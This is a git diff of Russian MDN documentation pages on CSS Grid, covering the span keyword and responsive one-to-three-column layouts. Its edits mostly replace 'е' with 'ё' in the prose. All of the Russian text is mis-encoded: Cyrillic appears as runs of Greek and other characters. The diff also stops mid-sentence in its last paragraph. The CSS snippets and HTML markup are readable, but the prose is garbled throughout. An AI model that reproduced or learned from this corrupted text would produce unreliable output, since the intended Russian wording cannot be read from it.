ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ Ρ‚Ρ€Π΅ΠΊ, Π° Π½Π΅ Π·Π°Π·ΠΎΡ€.</p>
<h2 id="ИспользованиС_ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ_слова_span">ИспользованиС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>span</code>Β </h2>
@@ -572,7 +572,7 @@ original_slug: >-
<p>{{ EmbedLiveSample('Using_the_span_keyword', '300', '330') }}</p>
-<p>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово  <code>span</code>Β Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС значСния <code>grid-row-start</code>/<code>grid-row-end</code> ΠΈ<code>grid-column-start/grid-column-end</code>. Π”Π²Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π½ΠΈΠΆΠ΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΡΡ‚Ρ€ΠΎΡ‡Π½ΡƒΡŽ линию, Π° послС Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ свойству, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰Π΅ΠΌΡƒ Π·Π° ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽΒ Π»ΠΈΠ½ΠΈΡŽ: эй, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π½ΡΡ‚ΡŒ ΠΏΠΎΠ΄ этот элСмСнт Ρ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ. Π’ ΠΈΡ‚ΠΎΠ³Π΅, Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ начинаСтся с ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ пространство Π΄ΠΎ 4-ΠΎΠΉ.</p>
+<p>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово  <code>span</code>Β Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС значСния <code>grid-row-start</code>/<code>grid-row-end</code> ΠΈ<code>grid-column-start/grid-column-end</code>. Π”Π²Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π½ΠΈΠΆΠ΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΡΡ‚Ρ€ΠΎΡ‡Π½ΡƒΡŽ линию, Π° послС Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ свойству, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰Π΅ΠΌΡƒ Π·Π° ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽΒ Π»ΠΈΠ½ΠΈΡŽ: эй, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π½ΡΡ‚ΡŒ ΠΏΠΎΠ΄ этот элСмСнт Ρ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ. Π’ ΠΈΡ‚ΠΎΠ³Π΅, Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ начинаСтся с ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ пространство Π΄ΠΎ 4-ΠΎΠΉ.</p>
<pre class="notranslate">.box1 {
grid-column-start: 1;
@@ -590,7 +590,7 @@ original_slug: >-
}
</pre>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒΡΡ с Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ элСмСнтов ΠΏΠΎ Π³Ρ€ΠΈΠ΄-линиям, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ нСсколько распространСнных ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ², располагая элСмСнты Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ… с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ количСством ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ Π½Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ всС Π’Π°ΡˆΠΈ элСмСнты, ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ авторазмСщСния. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ Ρ€Π°Π· Ρ‚ΠΎΡ‚ ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π’Π°ΠΌ Π½ΡƒΠΆΠ΅Π½, Π½ΠΎ Π½Π΅ Ρ„Π°ΠΊΡ‚, ΠΈ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π»ΠΈ Π’Ρ‹ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ для ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΎΠ³ΠΎ элСмСнта.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒΡΡ с Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ элСмСнтов ΠΏΠΎ Π³Ρ€ΠΈΠ΄-линиям, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ нСсколько распространённых ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ², располагая элСмСнты Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ… с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ количСством ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ Π½Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ всС Π’Π°ΡˆΠΈ элСмСнты, ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ авторазмСщСния. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ Ρ€Π°Π· Ρ‚ΠΎΡ‚ ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π’Π°ΠΌ Π½ΡƒΠΆΠ΅Π½, Π½ΠΎ Π½Π΅ Ρ„Π°ΠΊΡ‚, ΠΈ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π»ΠΈ Π’Ρ‹ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ для ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΎΠ³ΠΎ элСмСнта.</p>
<p>Π’Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ элСмСнты Π½Π° Π³Ρ€ΠΈΠ΄Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°, Ссли Π’Ρ‹ Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ размСстили ΠΈΡ… Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π° ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Π»ΠΈ. ПодобноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ интСрСсныС эффСкты, Π½ΠΎ, Ссли Π’Ρ‹ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Π·Π°Π΄Π°Π»ΠΈ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ нСприятно Вас ΡƒΠ΄ΠΈΠ²ΠΈΡ‚ΡŒ. <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΡ€Π°ΠΉΠ½Π΅ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Π² процСссС обучСния, особСнно, ΠΊΠΎΠ³Π΄Π° Π’Ρ‹ строитС слоТныС Π³Ρ€ΠΈΠ΄Ρ‹.</p>
diff --git a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html
index c452871664..625700ca08 100644
--- a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html
+++ b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_
<h2 id="Адаптивный_1-3_ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ_ΠΌΠ°ΠΊΠ΅Ρ‚_с_использованиСм_grid-template-areas"><font face="Liberation Sans, sans-serif"><font size="4">Адаптивный 1-3 ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ с использованиСм</font></font> <code>grid-template-areas</code></h2>
-<p>МногиС Π²Π΅Π±-сайты ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π·Π½ΠΎΠ²ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒΡŽ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΌΠ°ΠΊΠ΅Ρ‚Π°, с основным содСрТаниСм, Π±ΠΎΠΊΠΎΠ²Ρ‹ΠΌΠΈ панСлями, Ρ…Π΅Π΄Π΅Ρ€ΠΎΠΌ ΠΈ Ρ„ΡƒΡ‚Π΅Ρ€ΠΎΠΌ. Π’ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠΌ Π΄ΠΈΠ·Π°ΠΉΠ½Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ Π² Π²ΠΈΠ΄Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ столбца, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ мСстС, Π° Π·Π°Ρ‚Π΅ΠΌ ввСсти ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… столбцов для Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΈΡ… экранов.</p>
+<p>МногиС Π²Π΅Π±-сайты ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π·Π½ΠΎΠ²ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒΡŽ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΌΠ°ΠΊΠ΅Ρ‚Π°, с основным содСрТаниСм, Π±ΠΎΠΊΠΎΠ²Ρ‹ΠΌΠΈ панСлями, Ρ…Π΅Π΄Π΅Ρ€ΠΎΠΌ ΠΈ Ρ„ΡƒΡ‚Π΅Ρ€ΠΎΠΌ. Π’ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠΌ Π΄ΠΈΠ·Π°ΠΉΠ½Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ Π² Π²ΠΈΠ΄Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ столбца, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ мСстС, Π° Π·Π°Ρ‚Π΅ΠΌ ввСсти ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… столбцов для Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΈΡ… экранов.</p>
<p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p>
@@ -114,7 +114,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_
}
</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡƒ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ {{cssxref("grid-template-areas")}}. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄Π²Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ столбцов, ΠΊΠ°ΠΊ ΠΈ навигационная систСма. Π’ Ρ‚Ρ€Π΅ΠΊΠ΅ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ряда Ρƒ нас Π΅ΡΡ‚ΡŒ боковая панСль рядом с содСрТимым. Π’ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠΉ строкС я Ρ€Π΅ΡˆΠΈΠ» Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ свой Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ – Ρ‚Π°ΠΊ ΠΎΠ½ появляСтся ΠΏΠΎΠ΄ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ панСлью, Π° Π·Π°Ρ‚Π΅ΠΌ Ρ„ΡƒΡ‚Π΅Ρ€, рядом с Π½ΠΈΠΌ ΠΏΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ. Π― ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ flexbox Π² Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² разнСсСнном ряду.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡƒ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ {{cssxref("grid-template-areas")}}. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄Π²Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ столбцов, ΠΊΠ°ΠΊ ΠΈ навигационная систСма. Π’ Ρ‚Ρ€Π΅ΠΊΠ΅ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ряда Ρƒ нас Π΅ΡΡ‚ΡŒ боковая панСль рядом с содСрТимым. Π’ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠΉ строкС я Ρ€Π΅ΡˆΠΈΠ» Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ свой Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ – Ρ‚Π°ΠΊ ΠΎΠ½ появляСтся ΠΏΠΎΠ΄ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ панСлью, Π° Π·Π°Ρ‚Π΅ΠΌ Ρ„ΡƒΡ‚Π΅Ρ€, рядом с Π½ΠΈΠΌ ΠΏΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ. Π― ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ flexbox Π² Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² разнСсённом ряду.</p>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ я ΠΌΠΎΠ³Ρƒ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² наш 3-Ρ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚.</p>
@@ -133,7 +133,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_
}
</pre>
-<p>Π’Ρ€Π΅Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²Π΅ Π±ΠΎΠΊΠΎΠ²Ρ‹Π΅ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>1fr</code> ΠΈ ΡΡ€Π΅Π΄Π½ΡŽΡŽ ΠΊΠΎΠ»ΠΎΠ½ΠΊΡƒ, Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>4fr</code> . Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ доступноС пространство Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΎ Π½Π° 6 ячССк ΠΈ распрСдСлСно ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΌΠ°ΠΊΠ΅Ρ‚Ρƒ – ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ части ΠΊ Π±ΠΎΠΊΠΎΠ²Ρ‹ΠΌ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌ ΠΈ ΠΏΠΎ 4 части ΠΊ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ.</p>
+<p>Π’Ρ€Ρ‘Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²Π΅ Π±ΠΎΠΊΠΎΠ²Ρ‹Π΅ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>1fr</code> ΠΈ ΡΡ€Π΅Π΄Π½ΡŽΡŽ ΠΊΠΎΠ»ΠΎΠ½ΠΊΡƒ, Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>4fr</code> . Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ доступноС пространство Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΎ Π½Π° 6 ячССк ΠΈ распрСдСлСно ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΌΠ°ΠΊΠ΅Ρ‚Ρƒ – ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ части ΠΊ Π±ΠΎΠΊΠΎΠ²Ρ‹ΠΌ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌ ΠΈ ΠΏΠΎ 4 части ΠΊ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ.</p>
<p>Π’ этом ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ я ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ Π² Π»Π΅Π²ΠΎΠΉ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅, рядом с содСрТимым. Π’ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅ Ρƒ нас Π΅ΡΡ‚ΡŒ боковая панСль, Π° ΠΏΠΎΠ΄ Π½Π΅ΠΉ Π±Π»ΠΎΠΊ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹ (ad). Π€ΡƒΡ‚Π΅Ρ€ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ всю ниТнюю Ρ‡Π°ΡΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚Π°. Π—Π°Ρ‚Π΅ΠΌ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ flexbox для отобраТСния Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π² Π²ΠΈΠ΄Π΅ столбца.</p>
@@ -273,7 +273,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_
}
</pre>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ Π΄Π²ΡƒΡ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΌΡƒ ΠΌΠ°ΠΊΠ΅Ρ‚Ρƒ. Наш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ навигация ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ всю сСтку, поэтому Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ для Π½ΠΈΡ… ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅. Боковая панСль начинаСтся с ΠΏΠ΅Ρ€Π²ΠΎΠΉ строки столбца с ΠΈΠΌΠ΅Π½Π΅ΠΌ col-start, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ 3 строки. Он ΠΈΠ΄Π΅Ρ‚ послС строки 3, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ навигация находятся Π² ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π΄Π²ΡƒΡ… Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°Ρ… строки.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ Π΄Π²ΡƒΡ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΌΡƒ ΠΌΠ°ΠΊΠ΅Ρ‚Ρƒ. Наш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ навигация ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ всю сСтку, поэтому Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ для Π½ΠΈΡ… ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅. Боковая панСль начинаСтся с ΠΏΠ΅Ρ€Π²ΠΎΠΉ строки столбца с ΠΈΠΌΠ΅Π½Π΅ΠΌ col-start, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ 3 строки. Он 